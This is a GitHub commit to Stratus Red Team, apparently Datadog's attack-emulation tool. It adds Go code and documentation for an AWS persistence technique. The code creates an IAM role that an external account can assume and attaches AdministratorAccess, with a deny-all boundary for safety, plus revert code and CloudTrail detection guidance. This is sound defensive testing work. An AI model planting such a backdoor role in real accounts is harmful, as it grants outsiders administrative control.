-
Notifications
You must be signed in to change notification settings - Fork 226
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
New attack technique: Create backdoor IAM role (#478)
* add aws iam-create-backdoor-role attack technique * add code tags to CloudTrail parameters * small code changes * adjust trust policy * correct terminology: 'trust policy' instead of 'iam policy' to avoid confusion * safety: add permissions boundary that neutralizes the role * typo and regenerate docs --------- Co-authored-by: Christophe Tafani-Dereeper <christophe.tafanidereeper@datadoghq.com>
- Loading branch information
1 parent
904c352
commit ee5a7e8
Showing
7 changed files
with
229 additions
and
0 deletions.
There are no files selected for viewing
79 changes: 79 additions & 0 deletions
79
docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,79 @@ | ||
--- | ||
title: Create a backdoored IAM Role | ||
--- | ||
|
||
# Create a backdoored IAM Role | ||
|
||
|
||
|
||
|
||
Platform: AWS | ||
|
||
## MITRE ATT&CK Tactics | ||
|
||
|
||
- Persistence | ||
|
||
## Description | ||
|
||
|
||
Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from | ||
an external, fictitious attack AWS account. | ||
|
||
<span style="font-variant: small-caps;">Warm-up</span>: None. | ||
|
||
<span style="font-variant: small-caps;">Detonation</span>: | ||
|
||
- Create a new IAM role with the following trust policy: | ||
|
||
```json | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Effect": "Allow", | ||
"Principal": { | ||
"AWS": "arn:aws:iam::193672423079:root" | ||
}, | ||
"Action": "sts:AssumeRole" | ||
} | ||
] | ||
} | ||
``` | ||
|
||
- Attach the 'AdministratorAccess' managed IAM policy to it. | ||
|
||
*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).* | ||
|
||
References: | ||
|
||
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me | ||
|
||
|
||
## Instructions | ||
|
||
```bash title="Detonate with Stratus Red Team" | ||
stratus detonate aws.persistence.iam-create-backdoor-role | ||
``` | ||
## Detection | ||
|
||
|
||
- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role), | ||
which generates a finding when a role can be assumed from a new AWS account or publicly. | ||
|
||
- Identify a call to <code>CreateRole</code> closely followed by <code>AttachRolePolicy</code> with an administrator policy. | ||
|
||
- Identify a call to <code>CreateRole</code> that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event: | ||
|
||
``` | ||
{ | ||
"eventSource": "iam.amazonaws.com", | ||
"eventName": "CreateRole", | ||
"requestParameters": { | ||
"roleName": "malicious-iam-role", | ||
"assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}" | ||
} | ||
} | ||
``` | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
127 changes: 127 additions & 0 deletions
127
v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,127 @@ | ||
package aws | ||
|
||
import ( | ||
"context" | ||
_ "embed" | ||
"errors" | ||
"github.com/aws/aws-sdk-go-v2/aws" | ||
"github.com/aws/aws-sdk-go-v2/service/iam" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
"log" | ||
) | ||
|
||
//go:embed malicious_trust_policy.json | ||
var maliciousTrustPolicy string | ||
|
||
var roleName string = "stratus-red-team-malicious-iam-role" | ||
var adminPolicyArn string = "arn:aws:iam::aws:policy/AdministratorAccess" | ||
|
||
func init() { | ||
const codeBlock = "```" | ||
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
ID: "aws.persistence.iam-create-backdoor-role", | ||
FriendlyName: "Create a backdoored IAM Role", | ||
Description: ` | ||
Establishes persistence by creating a new backdoor role with a trust policy allowing it to be assumed from | ||
an external, fictitious attack AWS account. | ||
Warm-up: None. | ||
Detonation: | ||
- Create a new IAM role with the following trust policy: | ||
` + codeBlock + `json | ||
` + maliciousTrustPolicy + ` | ||
` + codeBlock + ` | ||
- Attach the 'AdministratorAccess' managed IAM policy to it. | ||
*Note: For safety reasons, the detonation code makes sure that this role has no real effective permissions, by attaching a permissions boundary denying all actions. This could also be achieved with an inline role policy, but using a permissions boundary allows us to use a single API call (CreateRole).* | ||
References: | ||
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me | ||
`, | ||
Detection: ` | ||
- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role), | ||
which generates a finding when a role can be assumed from a new AWS account or publicly. | ||
- Identify a call to <code>CreateRole</code> closely followed by <code>AttachRolePolicy</code> with an administrator policy. | ||
- Identify a call to <code>CreateRole</code> that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event: | ||
` + codeBlock + ` | ||
{ | ||
"eventSource": "iam.amazonaws.com", | ||
"eventName": "CreateRole", | ||
"requestParameters": { | ||
"roleName": "malicious-iam-role", | ||
"assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}" | ||
} | ||
} | ||
` + codeBlock + ` | ||
`, | ||
Platform: stratus.AWS, | ||
IsIdempotent: false, // cannot create twice a role with the same name | ||
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence}, | ||
Detonate: detonate, | ||
Revert: revert, | ||
}) | ||
} | ||
|
||
func detonate(_ map[string]string, providers stratus.CloudProviders) error { | ||
iamClient := iam.NewFromConfig(providers.AWS().GetConnection()) | ||
|
||
log.Println("Creating a malicious IAM role") | ||
input := &iam.CreateRoleInput{ | ||
RoleName: &roleName, | ||
AssumeRolePolicyDocument: &maliciousTrustPolicy, | ||
PermissionsBoundary: aws.String("arn:aws:iam::aws:policy/AWSDenyAll"), | ||
} | ||
|
||
_, err := iamClient.CreateRole(context.Background(), input) | ||
if err != nil { | ||
return errors.New("Unable to create IAM role: " + err.Error()) | ||
} | ||
|
||
log.Println("Backdoor IAM role created: " + roleName) | ||
|
||
attachPolicyInput := &iam.AttachRolePolicyInput{ | ||
RoleName: &roleName, | ||
PolicyArn: &adminPolicyArn, | ||
} | ||
|
||
_, err = iamClient.AttachRolePolicy(context.Background(), attachPolicyInput) | ||
if err != nil { | ||
log.Fatalf("Unable to attach AdministratorAccess policy to IAM role: %v", err) | ||
} | ||
|
||
log.Println("AdministratorAccess policy attached successfully") | ||
return nil | ||
} | ||
|
||
func revert(_ map[string]string, providers stratus.CloudProviders) error { | ||
iamClient := iam.NewFromConfig(providers.AWS().GetConnection()) | ||
detachPolicyInput := &iam.DetachRolePolicyInput{ | ||
RoleName: &roleName, | ||
PolicyArn: &adminPolicyArn, | ||
} | ||
_, err := iamClient.DetachRolePolicy(context.Background(), detachPolicyInput) | ||
if err != nil { | ||
return errors.New("Unable to detach policy from IAM role: " + err.Error()) | ||
} | ||
log.Println("Policy detached from IAM role: " + roleName) | ||
log.Println("Deleting IAM role " + roleName) | ||
input := &iam.DeleteRoleInput{ | ||
RoleName: &roleName, | ||
} | ||
_, err = iamClient.DeleteRole(context.Background(), input) | ||
if err != nil { | ||
return errors.New("Unable to delete IAM role: " + err.Error()) | ||
} | ||
|
||
log.Println("IAM role deleted: " + roleName) | ||
return nil | ||
} |
12 changes: 12 additions & 0 deletions
12
...nal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_trust_policy.json
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Effect": "Allow", | ||
"Principal": { | ||
"AWS": "arn:aws:iam::193672423079:root" | ||
}, | ||
"Action": "sts:AssumeRole" | ||
} | ||
] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters